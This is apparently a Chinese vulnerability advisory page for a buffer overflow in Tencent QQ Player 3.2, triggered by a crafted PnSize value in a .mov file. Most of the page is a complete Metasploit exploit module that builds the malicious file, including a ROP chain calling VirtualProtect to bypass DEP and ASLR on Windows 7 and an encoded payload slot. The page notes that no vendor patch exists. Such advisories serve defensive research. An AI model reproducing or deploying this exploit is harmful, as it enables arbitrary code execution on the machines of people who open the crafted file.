QQ Player “PnSize”值缓冲区溢出漏洞

发布日期：2011-11-21
更新日期：2011-11-22受影响系统：
Tencent QQ影音 3.2
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 50739QQ影音（QQPlayer）是腾讯公司推出的一款支持任何格式影片和音乐文件的本地播放器。QQPlayer在实现上存在缓冲区溢出漏洞，成功利用后可允许远程攻击者执行任意代码，造成拒绝服务。<*来源：hellok
*>测试方法：
--------------------------------------------------------------------------------警告以下程序（方法）可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！hellok （）提供了如下测试方法：# Exploit Title: QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS
# Date: 2011,11,21
# Author: hellok
# Software Link: http://dl_dir.qq.com/invc/qqplayer/QQPlayer_Setup_32_845.exe
# Version: 32_845（lastest）
# Tested on: WIN7
require "msf/core"
class Metasploit3 < Msf::Exploit::Remote
    include Msf::Exploit::FILEFORMAT    def initialize（info = {}）
        super（update_info（info,
            "Name"           => "QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS",
            "Description"    => %q{
                    This module exploits a vulnerability in QQPLAYER Player 3.2.
                When opening a .mov file containing a specially crafted PnSize value, an attacker
                may be able to execute arbitrary code.
            },
            "License"        => MSF_LICENSE,
            "Author"         =>
                [
                    "hellok", #special thank corelanc0d3r for "mona"
                ],
            "References"     =>
                [
                ],
            "DefaultOptions" =>
                {
                    "EXITFUNC" => "process",
                    "DisablePayloadHandler" => "true",
                },
            "Payload"        =>
                {
                    "Space"          => 750,
                    "BadChars"       => "", #Memcpy
                    "EncoderType"    => Msf::Encoder::Type::AlphanumUpper,
                    "DisableNops"    => "True",
                    "PrependEncoder" => "xebx03x59xebx05xe8xf8xffxffxff",
                    "EncoderOptions" =>
                        {
                            "BufferRegister" => "ECX",
                        },
                },
            "Platform" => "win",
            "Targets"        =>
                [
                    [ "Windows 7", { "Ret" => 0x67664cde } ],
                ],
            "Privileged"     => false,
            "DisclosureDate" => "11 21 2011",
            "DefaultTarget" => 0））        register_options（
            [
                OptString.new（"FILENAME",   [ false, "The file name.", "msf.mov" ]）,
            ], self.class）
    end
    def exploit
        # ！mona rop
        rop_gadgets =
        [

            0x00418007,    # POP ECX # RETN （QQPlayer.exe）
            0x12345678,
            0x67664CE4,
            0x01020304,
            0x10203040,
            0x22331122,
            0x23456789,

            0x00418007,    # POP ECX # RETN （QQPlayer.exe）
            0x00a9c18c,    # <- *&VirtualProtect（）
            0x0054f100,    # MOV EAX,DWORD PTR DS:[ECX] # RETN （QQPlayer.exe）
            #0x008e750c, LEA ESI,EAX # RETN （QQPlayer.exe）
            0x008cf099,    # XCHG EAX,ESI # RETN

            0x6497aaad,    # POP EBP # RETN （avformat-52.dll）
            0x100272bf,    # ptr to "call esp" （from i18nu.dll）
            0x005fc00b,    # POP EBX # RETN （QQPlayer.exe）
            0x00000331,    # <- change size to mark as executable if needed （-> ebx）
            0x00418007,    # POP ECX # RETN （QQPlayer.exe）
            0x63d18000,    # RW pointer （lpOldProtect）（-> ecx）
            0x63d05001,    # POP EDI # RETN （avutil-49.dll）
            0x63d05002,    # ROP NOP （-> edi）
            0x008bf00b,    # POP EDX # RETN （QQPlayer.exe）
            0x00000040,    # newProtect （0x40）（-> edx）
            0x00468800,    # POP EAX # RETN （QQPlayer.exe）
            0x90909090,    # NOPS （-> eax）
            0x008bad5c,    # PUSHAD # RETN （QQPlayer.exe）
        # rop chain generated by mona.py
        # note : this chain may not work out of the box
        # you may have to change order or fix some gadgets,
        # but it should give you a head start
        ].pack（"V*"）        stackpivot = [target.ret].pack（"L"）        buffer =rand_text_alpha_upper（90）#2
        buffer << rop_gadgets
        buffer << payload.encoded        junk = rand_text_alpha_upper（2306 - buffer.length）        buffer << junk
        buffer << stackpivot
        buffer << rand_text_alpha_upper（3000）#3000        path = File.join（ Msf::Config.install_root, "data", "exploits", "CVE-2011-0257.mov" ）
        fd = File.open（path, "rb" ）
        sploit = fd.read（fd.stat.size）
        fd.close        sploit << buffer        file_create（sploit）
    end
end建议：
--------------------------------------------------------------------------------
厂商补丁：Tencent
-------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：http://im.qq.com/qq/dlqq.shtmlLinux Kernel NFS客户端“decode_getacl（）”远程拒绝服务漏洞Linux Kernel CIFS本地安全限制绕过漏洞相关资讯漏洞

快递官网漏洞泄露 1400 万用户信息（08/12/2014 08:37:42）
要389目录服务器访问绕过漏洞（10/01/2012 09:18:08）
ASUS Net4Switch "ipswcom.dll" （03/02/2012 09:32:42）

软件漏洞是一笔大买卖！（10/06/2012 08:28:32）
PHPCMS V9.1.13任意文件包含漏洞分（08/01/2012 07:23:17）
Open Handset Alliance Android （03/01/2012 06:59:34）

本文评论查看全部评论（0）

评论声明

尊重网上道德，遵守中华人民共和国的各项有关法律法规
承担一切因您的行为而直接或间接导致的民事或刑事法律责任
本站管理人员有权保留或删除其管辖留言中的任意内容
本站有权在网站内转载或引用您的评论
参与本评论即表明您已经阅读并接受上述条款